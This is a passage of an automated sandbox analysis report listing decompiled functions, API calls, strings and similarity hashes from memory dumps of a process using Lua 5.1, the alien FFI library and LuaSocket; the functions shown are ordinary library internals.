0x0059132e
0x00591310
0x00591310
0x0059131c
0x0059131c
0x005912ea
0x005912ea
0x005912ea

APIs

lua_getmetatable.LUA5.1(?,?,?,?,0059126B,?,?,?), ref: 005912DC
lua_pushstring.LUA5.1(?,?), ref: 005912F1
lua_rawget.LUA5.1(?,000000FE,?,?), ref: 005912F9
lua_type.LUA5.1(?,000000FF,?,000000FE,?,?), ref: 00591301
lua_settop.LUA5.1(?,000000FD), ref: 00591310

Memory Dump Source

Source File: 00000002.00000002.469704074.0000000000591000.00000020.00020000.sdmp, Offset: 00590000, based on PE: true

Associated: 00000002.00000002.469680317.0000000000590000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469736772.0000000000595000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469762517.0000000000596000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.469833584.0000000000597000.00000002.00020000.sdmp Download File

Similarity

API ID: lua_getmetatable.lua_pushstring.lua_rawget.lua_settop.lua_type.
String ID:
API String ID: 1082009019-0
Opcode ID: 05ca628bde7e9bd8237afd4da71c11217a2c5126cd10d5288cd7a9fab4c45b1c
Instruction ID: 57ee9d32ee4e954211fb9b9c66a39e9f364c2f0bbbf1ec7af46de2034732dd85
Opcode Fuzzy Hash: 05ca628bde7e9bd8237afd4da71c11217a2c5126cd10d5288cd7a9fab4c45b1c
Instruction Fuzzy Hash: D7F0A753949533365D11B66D7C0ADDF2A9EADD2331B150769F92092181EA009D0749FF

Uniqueness

Uniqueness Score: -1.00%

Function 10013B20, Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

lua_getfield.LUA5.1(?,000000FF,?,?,?,?,10013A06,?,sec,00000000,?,00000001,?,00000001,00000005), ref: 10013B2F

Part of subcall function 10001B90: luaS_newlstr.LUA5.1(?,?,?,?,?), ref: 10001BBA

lua_isnumber.LUA5.1(?,000000FF,?,000000FF,?,?,?,?,10013A06,?,sec,00000000,?,00000001,?,00000001), ref: 10013B37
lua_tointeger.LUA5.1(?,000000FF,?,00000001,?,00000001,00000005), ref: 10013B46
lua_settop.LUA5.1(?,000000FE,?,00000001,?,00000001,00000005), ref: 10013B53
luaL_error.LUA5.1(?,field '%s' missing in date table,?,?,00000001,?,00000001,00000005), ref: 10013B70

Strings

field '%s' missing in date table, xrefs: 10013B6A

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: L_error.S_newlstr.lua_getfield.lua_isnumber.lua_settop.lua_tointeger.
String ID: field '%s' missing in date table
API String ID: 312991915-952653852
Opcode ID: 07fb5b3bd3575b97a1fa9a728a4f571bf4cde2f13739c43dab4e127f142dbf57
Instruction ID: 140a2740226d300b7078e5a87e6315b1a6e34e23a0cce1d8ee73758ee5af6402
Opcode Fuzzy Hash: 07fb5b3bd3575b97a1fa9a728a4f571bf4cde2f13739c43dab4e127f142dbf57
Instruction Fuzzy Hash: F2F082BFA0952037A401D1182C82DEF234CCEC31F5B294325F634A62D7EB25E90602B6

Uniqueness

Uniqueness Score: -1.00%

Function 005E2970, Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 40
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E005E2970(intOrPtr _a4) {
				void* __ebx;
				void* __esi;
				void* _t5;
				void* _t7;
				void* _t8;
				void* _t11;
				void* _t12;
				intOrPtr _t13;
				void* _t15;
				void* _t16;

				_t13 = _a4;
				_t11 = E005E1110(_t5, 1, _t13, "alien_function");
				_t16 = _t15 + 4;
				if(_t11 == 0) {
					_push("alien function expected");
					_push(1);
					_push(_t13);
					L005E3F14();
					_t16 = _t16 + 0xc;
				}
				_t7 =  *(_t11 + 8);
				if(_t7 != 0) {
					free(_t7);
					_t16 = _t16 + 4;
				}
				_t8 =  *(_t11 + 0x30);
				if(_t8 != 0) {
					free(_t8);
					_t16 = _t16 + 4;
				}
				_t12 =  *(_t11 + 0x34);
				if(_t12 != 0) {
					free(_t12);
				}
				return 0;
			}

0x005e2972
0x005e2986
0x005e2988
0x005e298d
0x005e298f
0x005e2994
0x005e2995
0x005e2996
0x005e299b
0x005e299b
0x005e299e
0x005e29a9
0x005e29ac
0x005e29ae
0x005e29ae
0x005e29b1
0x005e29b6
0x005e29b9
0x005e29bb
0x005e29bb
0x005e29be
0x005e29c3
0x005e29c6
0x005e29c8
0x005e29d0

APIs

Part of subcall function 005E1110: lua_touserdata.LUA5.1(?,00000001,?,005E1390,alien_library), ref: 005E1113
Part of subcall function 005E1110: lua_getmetatable.LUA5.1(?,00000001,alien_library), ref: 005E1123
Part of subcall function 005E1110: lua_getfield.LUA5.1(?,FFFFD8F0,?,?,?,alien_library), ref: 005E113A
Part of subcall function 005E1110: lua_rawequal.LUA5.1(?,000000FF,000000FE,?,FFFFD8F0,?,?,?,alien_library), ref: 005E1144
Part of subcall function 005E1110: lua_settop.LUA5.1(?,000000FD,?,?,?,?,?,?,?,?,alien_library), ref: 005E1153

luaL_argerror.LUA5.1(?,00000001,alien function expected), ref: 005E2996
free.MSVCR80(?), ref: 005E29AC
free.MSVCR80(?), ref: 005E29B9
free.MSVCR80(?), ref: 005E29C6

Strings

alien_function, xrefs: 005E2977
alien function expected, xrefs: 005E298F

Memory Dump Source

Source File: 00000002.00000002.470086883.00000000005E1000.00000020.00020000.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000002.00000002.470056467.00000000005E0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470120189.00000000005E5000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470145709.00000000005E7000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.470178146.00000000005E8000.00000002.00020000.sdmp Download File

Similarity

API ID: free$L_argerror.lua_getfield.lua_getmetatable.lua_rawequal.lua_settop.lua_touserdata.
String ID: alien function expected$alien_function
API String ID: 84662198-489136717
Opcode ID: 460aefea9fbe1ed317778bed1f2e135778c439fdeffe07e632bf2c35c0913c5d
Instruction ID: 0873e9db5d819dfd690e35114ff56032eb6133da5a29ca01453c46250481b98b
Opcode Fuzzy Hash: 460aefea9fbe1ed317778bed1f2e135778c439fdeffe07e632bf2c35c0913c5d
Instruction Fuzzy Hash: 00F0B4B2A006946BDA0496265D86A5B7B5DBFC0764F080035E888E7202F625ED6486E2

Uniqueness

Uniqueness Score: -1.00%

Function 10010E30, Relevance: 10.5, APIs: 7, Instructions: 40COMMON

Download Yara Rule

APIs

lua_tothread.LUA5.1(?,FFFFD8ED), ref: 10010E3C
lua_gettop.LUA5.1(?,?,FFFFD8ED), ref: 10010E44

Part of subcall function 10010CE0: lua_checkstack.LUA5.1(?,?,00000000,?,?,10010C96,?,00000000,-00000001,?), ref: 10010CED
Part of subcall function 10010CE0: luaL_error.LUA5.1(?,too many arguments to resume,-00000001,?), ref: 10010D03
Part of subcall function 10010CE0: lua_status.LUA5.1(?,-00000001,?), ref: 10010D0C
Part of subcall function 10010CE0: lua_gettop.LUA5.1(?,?,-00000001,?), ref: 10010D19
Part of subcall function 10010CE0: lua_pushlstring.LUA5.1(?,cannot resume dead coroutine,0000001C,?,?,-00000001,?), ref: 10010D2D

lua_isstring.LUA5.1(?,000000FF), ref: 10010E5D

Part of subcall function 100014D0: lua_type.LUA5.1(?,?), ref: 100014DA

luaL_where.LUA5.1(?,00000001), ref: 10010E6C

Part of subcall function 1000F1C0: lua_getstack.LUA5.1(?,?,?,?), ref: 1000F1D3
Part of subcall function 1000F1C0: lua_getinfo.LUA5.1(?,10019AE8,?,?,?,?), ref: 1000F1EA
Part of subcall function 1000F1C0: lua_pushfstring.LUA5.1(?,%s:%d: ,?,?,?,?,?,?,?,?), ref: 1000F206

lua_insert.LUA5.1(?,000000FE,?,00000001), ref: 10010E74
lua_concat.LUA5.1(?,00000002,?,000000FE,?,00000001), ref: 10010E7C
lua_error.LUA5.1(?), ref: 10010E85

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: lua_gettop.$L_error.L_where.lua_checkstack.lua_concat.lua_error.lua_getinfo.lua_getstack.lua_insert.lua_isstring.lua_pushfstring.lua_pushlstring.lua_status.lua_tothread.lua_type.
String ID:
API String ID: 3489779503-0
Opcode ID: ca32bf127a39fc309be60bf8acdb7351256d78698e24f5fbb1f8b03a2492860a
Instruction ID: 42382082a270c395690d9daea5846e4ddae6fd7980f95c5e96267412a47bfe25
Opcode Fuzzy Hash: ca32bf127a39fc309be60bf8acdb7351256d78698e24f5fbb1f8b03a2492860a
Instruction Fuzzy Hash: 47F0306E64992132E901E2296C03FDF118DCFC22F5F250225F914B72C7EE69FA4241FA

Uniqueness

Uniqueness Score: -1.00%

Function 005E1290, Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36
COMMON

Download Yara Rule

C-Code - Quality: 67%

			E005E1290(intOrPtr* __eax, void* __edi, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {

				_push(0x38);
				L005E3F2C();
				if(__eax == 0) {
					_push("out of memory!");
					L005E3F26();
					return 1;
				} else {
					_push("alien_function");
					_push(0xffffd8f0);
					L005E3F02();
					_push(0xfffffffe);
					L005E3F1A();
					 *((intOrPtr*)(__eax + 4)) = _a8;
					 *((intOrPtr*)(__eax + 8)) = _a12;
					 *__eax = _a4;
					 *((intOrPtr*)(__eax + 0x2c)) = 0;
					 *((intOrPtr*)(__eax + 0xc)) = 6;
					 *((intOrPtr*)(__eax + 0x30)) = 0;
					 *((intOrPtr*)(__eax + 0x34)) = 0;
					return 1;
				}
			}

0x005e1291
0x005e1294
0x005e12a0
0x005e12f4
0x005e12fa
0x005e1308
0x005e12a2
0x005e12a2
0x005e12a7
0x005e12ad
0x005e12b2
0x005e12b5
0x005e12c9
0x005e12cc
0x005e12cf
0x005e12d1
0x005e12d8
0x005e12df
0x005e12e6
0x005e12f3
0x005e12f3

APIs

lua_newuserdata.LUA5.1(?,00000038,00000000,005E13F1,00000000,00000000,?), ref: 005E1294
lua_getfield.LUA5.1(?,FFFFD8F0,alien_function,00000000,00000000,?), ref: 005E12AD
lua_setmetatable.LUA5.1(?,000000FE,?,FFFFD8F0,alien_function,00000000,00000000,?), ref: 005E12B5
luaL_error.LUA5.1(?,out of memory!,00000000,00000000,?), ref: 005E12FA

Strings

alien_function, xrefs: 005E12A2
out of memory!, xrefs: 005E12F4

Memory Dump Source

Source File: 00000002.00000002.470086883.00000000005E1000.00000020.00020000.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000002.00000002.470056467.00000000005E0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470120189.00000000005E5000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470145709.00000000005E7000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.470178146.00000000005E8000.00000002.00020000.sdmp Download File

Similarity

API ID: L_error.lua_getfield.lua_newuserdata.lua_setmetatable.
String ID: alien_function$out of memory!
API String ID: 4059151083-2139402857
Opcode ID: b6624e736b9f577f813c16882c8e3281f98fcde3f8d31971e855880396bb4141
Instruction ID: 628d76b2c70141823b86c97da83afa82fe8623aa1a323a28f3935b3970dc8cb7
Opcode Fuzzy Hash: b6624e736b9f577f813c16882c8e3281f98fcde3f8d31971e855880396bb4141
Instruction Fuzzy Hash: FDF0C2708047519BC3249F1AED89B5B7AE0BF84714F00851CF4D96B780D7B9A946CF91

Uniqueness

Uniqueness Score: -1.00%

Function 005937E0, Relevance: 10.5, APIs: 1, Strings: 5, Instructions: 36
COMMON

Download Yara Rule

C-Code - Quality: 61%

			E005937E0(intOrPtr _a4) {
				intOrPtr _t9;

				_t9 = _a4;
				E00591010(_t9, "udp{connected}", 0x5965c8);
				E00591010(_t9, "udp{unconnected}", 0x5965c8);
				E00591180(_t9, "udp{connected}", "udp{any}");
				E00591180(_t9, "udp{unconnected}", "udp{any}");
				E00591180(_t9, "udp{connected}", "select{able}");
				E00591180(_t9, "udp{unconnected}", "select{able}");
				_push(0);
				_push("DeY");
				_push(0);
				_push(_t9);
				L00594B48();
				return 0;
			}

0x005937e1
0x005937f0
0x00593800
0x00593810
0x00593820
0x00593830
0x00593840
0x00593848
0x0059384a
0x0059384f
0x00593851
0x00593852
0x0059385d

APIs

Part of subcall function 00591010: luaL_newmetatable.LUA5.1(?,?), ref: 0059101C
Part of subcall function 00591010: lua_pushstring.LUA5.1(?,__index,?,?), ref: 00591027
Part of subcall function 00591010: lua_createtable.LUA5.1(?,00000000,00000000,?,__index,?,?), ref: 00591031
Part of subcall function 00591010: lua_pushstring.LUA5.1(?,class,?,00000000,00000000,?,__index,?,?), ref: 0059103C
Part of subcall function 00591010: lua_pushstring.LUA5.1(?,?,?,class,?,00000000,00000000,?,__index,?,?), ref: 00591043
Part of subcall function 00591010: lua_rawset.LUA5.1(?,000000FD,?,?,?,class,?,00000000,00000000,?,__index,?,?), ref: 0059104B
Part of subcall function 00591010: lua_pushstring.LUA5.1(?,00000000), ref: 0059105F
Part of subcall function 00591010: lua_pushcclosure.LUA5.1(?,?,00000000,?,00000000), ref: 0059106B
Part of subcall function 00591010: lua_rawset.LUA5.1(?,?,?,?,00000000,?,00000000), ref: 00591083
Part of subcall function 00591010: lua_rawset.LUA5.1(?,000000FD), ref: 00591098
Part of subcall function 00591010: lua_settop.LUA5.1(?,000000FE,?,000000FD), ref: 005910A0

Part of subcall function 00591180: lua_getfield.LUA5.1(?,FFFFD8F0,?), ref: 00591190
Part of subcall function 00591180: lua_pushstring.LUA5.1(?,?,?,FFFFD8F0,?), ref: 0059119B
Part of subcall function 00591180: lua_pushboolean.LUA5.1(?,00000001,?,?,?,FFFFD8F0,?), ref: 005911A3
Part of subcall function 00591180: lua_rawset.LUA5.1(?,000000FD,?,00000001,?,?,?,FFFFD8F0,?), ref: 005911AB
Part of subcall function 00591180: lua_settop.LUA5.1(?,000000FE,?,000000FD,?,00000001,?,?,?,FFFFD8F0,?), ref: 005911B3

luaL_openlib.LUA5.1(?,00000000,DeY,00000000), ref: 00593852

Strings

select{able}, xrefs: 00593825, 00593835
DeY, xrefs: 0059384A
udp{connected}, xrefs: 005937EA, 0059380A, 0059382A
udp{unconnected}, xrefs: 005937FA, 0059381A, 0059383A
udp{any}, xrefs: 00593805, 00593815

Memory Dump Source

Source File: 00000002.00000002.469704074.0000000000591000.00000020.00020000.sdmp, Offset: 00590000, based on PE: true

Associated: 00000002.00000002.469680317.0000000000590000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469736772.0000000000595000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469762517.0000000000596000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.469833584.0000000000597000.00000002.00020000.sdmp Download File

Similarity

API ID: lua_pushstring.$lua_rawset.$lua_settop.$L_newmetatable.L_openlib.lua_createtable.lua_getfield.lua_pushboolean.lua_pushcclosure.
String ID: DeY$select{able}$udp{any}$udp{connected}$udp{unconnected}
API String ID: 2552940023-2192448268
Opcode ID: 338c75c36091439f9b8999c646b2aff7c4f094bcdbd11eecb3ec275e53c65cac
Instruction ID: c65651600b54365c98b783ddec0f13514d1478d93566aff2ea4e3aa0045e4bfa
Opcode Fuzzy Hash: 338c75c36091439f9b8999c646b2aff7c4f094bcdbd11eecb3ec275e53c65cac
Instruction Fuzzy Hash: 04F0AE217C6B32318E4233A02D8BF8B1D49FFA6B89E014441F540350D79ADE221E50AE

Uniqueness

Uniqueness Score: -1.00%

Function 100102F0, Relevance: 10.5, APIs: 7, Instructions: 35COMMON

Download Yara Rule

APIs

luaL_optinteger.LUA5.1(?,00000002,00000001), ref: 100102FB

Part of subcall function 1000F600: lua_type.LUA5.1(?,?), ref: 1000F60C

lua_settop.LUA5.1(?,00000001,?,00000002,00000001), ref: 10010305
lua_isstring.LUA5.1(?,00000001,?,00000001,?,00000002,00000001), ref: 1001030D

Part of subcall function 100014D0: lua_type.LUA5.1(?,?), ref: 100014DA

luaL_where.LUA5.1(?,00000000), ref: 1001031F

Part of subcall function 1000F1C0: lua_getstack.LUA5.1(?,?,?,?), ref: 1000F1D3
Part of subcall function 1000F1C0: lua_getinfo.LUA5.1(?,10019AE8,?,?,?,?), ref: 1000F1EA
Part of subcall function 1000F1C0: lua_pushfstring.LUA5.1(?,%s:%d: ,?,?,?,?,?,?,?,?), ref: 1000F206

lua_pushvalue.LUA5.1(?,00000001,?,00000000), ref: 10010327
lua_concat.LUA5.1(?,00000002,?,00000001,?,00000000), ref: 1001032F
lua_error.LUA5.1(?), ref: 10010338

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: lua_type.$L_optinteger.L_where.lua_concat.lua_error.lua_getinfo.lua_getstack.lua_isstring.lua_pushfstring.lua_pushvalue.lua_settop.
String ID:
API String ID: 3087202893-0
Opcode ID: 1002b9d1a8de4fea555f2efb8acde5e348081289fcd7044175116db7176ec545
Instruction ID: 3921290a2050ad1f47a961bc4842265e0e3746d3394452ef6287f418ba688058
Opcode Fuzzy Hash: 1002b9d1a8de4fea555f2efb8acde5e348081289fcd7044175116db7176ec545
Instruction Fuzzy Hash: 9CE0ED7E69162071F822A1252C47FDF104DDF96BD4F150015FA447A1CBEADAB78241FA

Uniqueness

Uniqueness Score: -1.00%

Function 1000FF90, Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 31stringCOMMON

Download Yara Rule

APIs

_errno.MSVCRT ref: 1000FF93
strerror.MSVCRT ref: 1000FF9C
lua_tolstring.LUA5.1(?,?,00000000), ref: 1000FFB0
lua_pushfstring.LUA5.1(?,cannot %s %s: %s,?,00000001,00000000,?,?,00000000), ref: 1000FFC3
lua_remove.LUA5.1(?,?,?,cannot %s %s: %s,?,00000001,00000000,?,?,00000000), ref: 1000FFCA

Strings

cannot %s %s: %s, xrefs: 1000FFBD

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: _errnolua_pushfstring.lua_remove.lua_tolstring.strerror
String ID: cannot %s %s: %s
API String ID: 3848458005-2784491881
Opcode ID: 5af78d60626d07ee9481719a982b1588427392c63b2a5bab15bbeaecd423284b
Instruction ID: bf886e3bea74faded7f9c4e64d3598e70b3128ebce94eb767c01f3b70bd84c95
Opcode Fuzzy Hash: 5af78d60626d07ee9481719a982b1588427392c63b2a5bab15bbeaecd423284b
Instruction Fuzzy Hash: 6EE092B55002107FF205DB649CC9FAB376CEFCD290F000028FA00D7202DB34AC028672

Uniqueness

Uniqueness Score: -1.00%

Function 005E1470, Relevance: 10.5, APIs: 2, Strings: 4, Instructions: 30
COMMON

Download Yara Rule

C-Code - Quality: 55%

			E005E1470(intOrPtr _a4) {
				void* __ebx;
				void* __esi;
				void* _t3;
				void* _t7;
				char* _t8;
				intOrPtr _t9;
				void* _t10;
				void* _t11;

				_t9 = _a4;
				_t7 = E005E1110(_t3, 1, _t9, "alien_library");
				_t11 = _t10 + 4;
				if(_t7 == 0) {
					_push("alien library expected");
					_push(1);
					_push(_t9);
					L005E3F14();
					_t11 = _t11 + 0xc;
				}
				_t8 =  *(_t7 + 4);
				if(_t8 == 0) {
					_t8 = "default";
				}
				_push(_t8);
				_push("alien library %s");
				_push(_t9);
				L005E3EEA();
				return 1;
			}

0x005e1472
0x005e1486
0x005e1488
0x005e148d
0x005e148f
0x005e1494
0x005e1495
0x005e1496
0x005e149b
0x005e149b
0x005e149e
0x005e14a3
0x005e14a5
0x005e14a5
0x005e14aa
0x005e14ab
0x005e14b0
0x005e14b1
0x005e14be

APIs

Part of subcall function 005E1110: lua_touserdata.LUA5.1(?,00000001,?,005E1390,alien_library), ref: 005E1113
Part of subcall function 005E1110: lua_getmetatable.LUA5.1(?,00000001,alien_library), ref: 005E1123
Part of subcall function 005E1110: lua_getfield.LUA5.1(?,FFFFD8F0,?,?,?,alien_library), ref: 005E113A
Part of subcall function 005E1110: lua_rawequal.LUA5.1(?,000000FF,000000FE,?,FFFFD8F0,?,?,?,alien_library), ref: 005E1144
Part of subcall function 005E1110: lua_settop.LUA5.1(?,000000FD,?,?,?,?,?,?,?,?,alien_library), ref: 005E1153

luaL_argerror.LUA5.1(?,00000001,alien library expected), ref: 005E1496
lua_pushfstring.LUA5.1(?,alien library %s,?), ref: 005E14B1

Strings

alien library expected, xrefs: 005E148F
alien_library, xrefs: 005E1477
alien library %s, xrefs: 005E14AB
default, xrefs: 005E14A5

Memory Dump Source

Source File: 00000002.00000002.470086883.00000000005E1000.00000020.00020000.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000002.00000002.470056467.00000000005E0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470120189.00000000005E5000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470145709.00000000005E7000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.470178146.00000000005E8000.00000002.00020000.sdmp Download File

Similarity

API ID: L_argerror.lua_getfield.lua_getmetatable.lua_pushfstring.lua_rawequal.lua_settop.lua_touserdata.
String ID: alien library %s$alien library expected$alien_library$default
API String ID: 259548371-1962326897
Opcode ID: 11e6dc091699287a1652a0ff92364be3c6b081d008f63bd658a2b758ecc7e5bb
Instruction ID: d33c19b8e9bf9c54f9b13c1135bbd9d86fdd8d8f3f015437af1b3f75f02d2534
Opcode Fuzzy Hash: 11e6dc091699287a1652a0ff92364be3c6b081d008f63bd658a2b758ecc7e5bb
Instruction Fuzzy Hash: 4AE0D877B40F8177C70910031C46E4B6A5DFAC47B8B154038F5C827342F5759D1642E5

Uniqueness

Uniqueness Score: -1.00%

Function 10010B10, Relevance: 10.5, APIs: 7, Instructions: 30COMMON

Download Yara Rule

APIs

luaL_checkany.LUA5.1(?,00000002), ref: 10010B18

Part of subcall function 1000F470: lua_type.LUA5.1(?,?), ref: 1000F47C
Part of subcall function 1000F470: luaL_argerror.LUA5.1(?,?,value expected), ref: 1000F490

lua_settop.LUA5.1(?,00000002,?,00000002), ref: 10010B20
lua_insert.LUA5.1(?,00000001,?,00000002,?,00000002), ref: 10010B28
lua_pcall.LUA5.1(?,00000000,000000FF,00000001,?,00000001,?,00000002,?,00000002), ref: 10010B34
lua_pushboolean.LUA5.1(?,00000000,?,00000000,000000FF,00000001,?,00000001,?,00000002,?,00000002), ref: 10010B42
lua_replace.LUA5.1(?,00000001,?,00000000,?,00000000,000000FF,00000001,?,00000001,?,00000002,?,00000002), ref: 10010B4A
lua_gettop.LUA5.1(?,?,00000001,?,00000000,?,00000000,000000FF,00000001,?,00000001,?,00000002,?,00000002), ref: 10010B50

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: L_argerror.L_checkany.lua_gettop.lua_insert.lua_pcall.lua_pushboolean.lua_replace.lua_settop.lua_type.
String ID:
API String ID: 2393796632-0
Opcode ID: f2e9dce18f058e36f42446bc5a1685f1e8294704d20691d80c56195515566079
Instruction ID: 70eb03bfd95bf08b1b2a3843d7116d670af0df3d46f247d8c6d3f42fc91d721f
Opcode Fuzzy Hash: f2e9dce18f058e36f42446bc5a1685f1e8294704d20691d80c56195515566079
Instruction Fuzzy Hash: F0E0B639257A2131F927A2345D57FCF11498F467E0F104205F610791DADFC9368201AF

Uniqueness

Uniqueness Score: -1.00%

Function 10010970, Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 28COMMON

Download Yara Rule

APIs

luaL_checkany.LUA5.1(?,00000001), ref: 10010978

Part of subcall function 1000F470: lua_type.LUA5.1(?,?), ref: 1000F47C
Part of subcall function 1000F470: luaL_argerror.LUA5.1(?,?,value expected), ref: 1000F490

lua_toboolean.LUA5.1(?,00000001,?,00000001), ref: 10010980
luaL_optlstring.LUA5.1(?,00000002,assertion failed!,00000000), ref: 10010995

Part of subcall function 1000F4E0: lua_type.LUA5.1(?,?,?,?,1000F27E,?,?,?,00000000), ref: 1000F4EC

luaL_error.LUA5.1(?,10019E90,00000000,?,00000002,assertion failed!,00000000), ref: 100109A1

Part of subcall function 1000F230: luaL_where.LUA5.1(?,00000001,?,1000F169,?,bad argument #%d to '%s' (%s),?,?,?), ref: 1000F238
Part of subcall function 1000F230: lua_pushvfstring.LUA5.1(?,?,00000001,?,00000001,?,1000F169,?,bad argument #%d to '%s' (%s),?,?,?), ref: 1000F248
Part of subcall function 1000F230: lua_concat.LUA5.1(?,00000002,?,?,00000001,?,00000001,?,1000F169,?,bad argument #%d to '%s' (%s),?,?,?), ref: 1000F250
Part of subcall function 1000F230: lua_error.LUA5.1(?,?,00000002,?,?,00000001,?,00000001,?,1000F169,?,bad argument #%d to '%s' (%s),?,?,?), ref: 1000F256

lua_gettop.LUA5.1(?), ref: 100109AC

Strings

assertion failed!, xrefs: 1001098D

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: lua_type.$L_argerror.L_checkany.L_error.L_optlstring.L_where.lua_concat.lua_error.lua_gettop.lua_pushvfstring.lua_toboolean.
String ID: assertion failed!
API String ID: 3716790278-2195966079
Opcode ID: 20d845c69bdf114ce9bfb45bcbed2c24d48fe02c6ab686524bcb43155c7ba3e4
Instruction ID: 8751be9952cc2c4264dc582f14a60e6f440ce45451edf70a9ae66ed3fe5aea87
Opcode Fuzzy Hash: 20d845c69bdf114ce9bfb45bcbed2c24d48fe02c6ab686524bcb43155c7ba3e4
Instruction Fuzzy Hash: 52E0ECAE91662075F611E1287C03FEF118DCF416DCF494444FA446914BE799BAC250EB

Uniqueness

Uniqueness Score: -1.00%

Function 10011310, Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 28COMMON

Download Yara Rule

APIs

lua_type.LUA5.1(?,00000002), ref: 10011318
luaL_argerror.LUA5.1(?,00000002,nil or table expected), ref: 10011331

Part of subcall function 1000F090: lua_getstack.LUA5.1(?,00000000), ref: 1000F0A0
Part of subcall function 1000F090: luaL_error.LUA5.1(?,bad argument #%d (%s),?,?), ref: 1000F0BC

lua_settop.LUA5.1(?,00000002), ref: 1001133C
lua_setmetatable.LUA5.1(?,00000001,?,00000002), ref: 10011344
lua_pushboolean.LUA5.1(?,00000000,?,00000001,?,00000002), ref: 1001134B

Strings

nil or table expected, xrefs: 10011329

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: L_argerror.L_error.lua_getstack.lua_pushboolean.lua_setmetatable.lua_settop.lua_type.
String ID: nil or table expected
API String ID: 1816645252-2873205112
Opcode ID: 8f5d50b2f73bf41c2276899261c6e6e5bf27d81391e00bddd7f63e93c9e27d28
Instruction ID: d97d09fb6170cb922df7f5a48dac2d0b1ae308061f105462952859e8ce520f37
Opcode Fuzzy Hash: 8f5d50b2f73bf41c2276899261c6e6e5bf27d81391e00bddd7f63e93c9e27d28
